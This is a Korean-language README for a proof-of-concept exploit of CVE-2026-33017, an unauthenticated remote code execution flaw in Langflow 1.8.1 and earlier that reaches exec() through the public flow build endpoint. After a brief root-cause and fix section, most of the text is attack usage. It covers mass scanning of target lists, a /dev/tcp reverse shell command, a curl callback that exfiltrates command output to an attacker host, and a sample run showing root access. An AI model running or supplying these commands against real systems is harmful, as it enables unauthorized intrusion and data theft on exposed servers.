
CVE-2026-33017 - Langflow <= 1.8.1의 Public Flow Build Endpoint를 통한 인증되지 않은 원격 코드 실행
교육 및 승인된 테스트 목적으로만 사용하세요.
Langflow <= 1.8.1은 공격자가 제어하는 임의의 코드를 포함한 플로우 데이터를 허용하는 공개 플로우 빌드 엔드포인트를 노출합니다. 이 코드는 validate.py의 prepare_global_scope()로 전달되어, 샌드박싱 없이 exec()를 호출하므로 서버 프로세스 권한으로 인증되지 않은 원격 코드 실행이 발생합니다.
| 패키지 | 영향 받음 | 패치됨 |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
build_public_tmp 엔드포인트는 의도적으로 인증되지 않았습니다. 즉, 누구나 저장된 공개 플로우를 실행할 수 있도록 설계되었습니다. 결함은 이 엔드포인트가 선택적으로 공격자가 제어하는 플로우 정의가 포함된 data 매개변수도 허용한다는 점입니다. 따라서 인증되지 않은 사용자는 서버가 합법적인 플로우 그래프로 처리하여 코드 실행 루틴에 직접 전달하는 임의의 노드 코드를 제출할 수 있습니다.
수정 방법은 간단합니다. data 매개변수를 제거하고 엔드포인트가 build_graph_from_db()만 호출하도록 강제하여 공개 플로우가 저장된 데이터만 실행하고 공격자가 제공한 코드는 실행되지 않도록 하는 것입니다.
공격자의 페이로드는 실행되기 전에 다음 호출 체인을 거칩니다.
| 단계 | 파일 | 세부 사항 |
|---|---|---|
| 1 | chat.py:580 | build_public_tmp가 요청 본문에서 공격자 데이터를 수신합니다. |
| 2 | build.py:81 | start_flow_build()가 신뢰할 수 없는 페이로드를 전달합니다. |
| 3 | build.py:298 | build_graph_from_data()가 그래프 생성에 전달합니다. |
| 4 | base.py:1168 | Graph.from_payload()가 공격자가 제공한 노드 정의를 역직렬화합니다. |
| 5 | base.py:1323 | 각 노드에 대해 instantiate_component()가 호출됩니다. |
| 6 | loading.py:43 | 사용자 정의 컴포넌트 매개변수에서 code 필드가 추출됩니다. |
| 7 | eval.py:9 | create_class()가 원시 공격자 코드를 수신합니다. |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — 샌드박싱 없음 |
validate.py의 prepare_global_scope()는 그래프 컴파일 중에 ast.Assign 노드를 처리합니다. 즉, 플로우 메서드가 호출되기 전에 처리됩니다. 따라서 주입된 코드의 최상위 할당문이 즉시 실행됩니다.
_r = __import__('os').system("whoami") # 플로우 실행 시간이 아닌 컴파일 시간에 실행됨
출력은 서버의 stdout으로 전달되며, HTTP 응답으로는 반환되지 않습니다. 외부 유출은 아웃바운드 콜백(리버스 셸, 컬 웹훅)이 필요합니다.
| 엔드포인트 | 인증 | 공격 벡터 |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | 없음 | 원격, 인증 불필요 |
| 시나리오 | 요구 사항 |
|---|---|
| A — AUTO_LOGIN 활성화 | AUTO_LOGIN=true: 익명으로 JWT 토큰 획득, PUBLIC 플로우 생성, 악용 |
| B — 알려진 공개 플로우 | 공유/공개 플로우 UUID가 알려져 있음: 직접 악용, 인증 불필요 |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| 플래그 | 기본값 | 설명 |
|---|---|---|
--url | — | 단일 대상 Langflow URL |
--url-file | — | 한 줄에 하나의 URL을 포함한 텍스트 파일 (대량 스캔) |
--cmd | id | 대상에서 실행할 OS 명령어 |
--flow-id | — | 기존 공개 플로우의 UUID (플로우 생성 생략) |
--threads | 5 | 대량 모드용 병렬 스레드 수 |
--timeout | 15 | HTTP 요청 타임아웃 (초) |
--no-cleanup | false | 악용 후 생성된 플로우 유지 |
중요: PoC는 모듈 수준에서
os.system()을 사용합니다. 명령은 서버에서 실행되지만 출력은 서버의 stdout으로 전달되며 HTTP 응답으로 반환되지 않습니다. PoC는 실행이 발생했는지만 확인합니다 ([+] VULNERABLE). 실제로 명령 출력을 받으려면 아래의 유출 방법 중 하나를 사용하세요.
블라인드 확인 (출력 캡처 없이 RCE 확인)
python3 poc.py --url http://target:7860 --cmd "id"
리버스 셸 — 로컬 리스너 사용
# 1. 로컬 머신에서 리스너 시작
nc -lvnp 4444
# 2. 리버스 셸 전송
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
HTTP 콜백을 통한 OOB 유출 — 로컬 서버 사용
# 1. 로컬 HTTP 서버 시작
python3 -m http.server 8080
# 2. curl 콜백을 통해 출력 유출
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
알려진 공개 플로우 UUID 사용 (플로우 생성 불필요)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
파일에서 대량 스캔
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
PoC는 실행이 발생했음을 확인합니다. [+] VULNERABLE은 빌드가 성공하고 주입된 코드가 실행되었음을 의미하며, 출력이 캡처되었음을 의미하지는 않습니다.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
대상 : 1
명령어 : curl http://10.10.14.1:8080/$(id | base64 -w0)
스레드 : 5 | 타임아웃 : 15초
============================================================
[http://target:7860] auth: JWT 토큰 획득
[http://target:7860] flow: 생성됨 (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE 실행됨
[http://target:7860] flow: 삭제됨 (3f2a1b4c-...)
============================================================
요약
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 대상 취약함
로컬 HTTP 서버에서 수신된 출력:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
/api/v1/validate/code에서 유사한 exec() 문제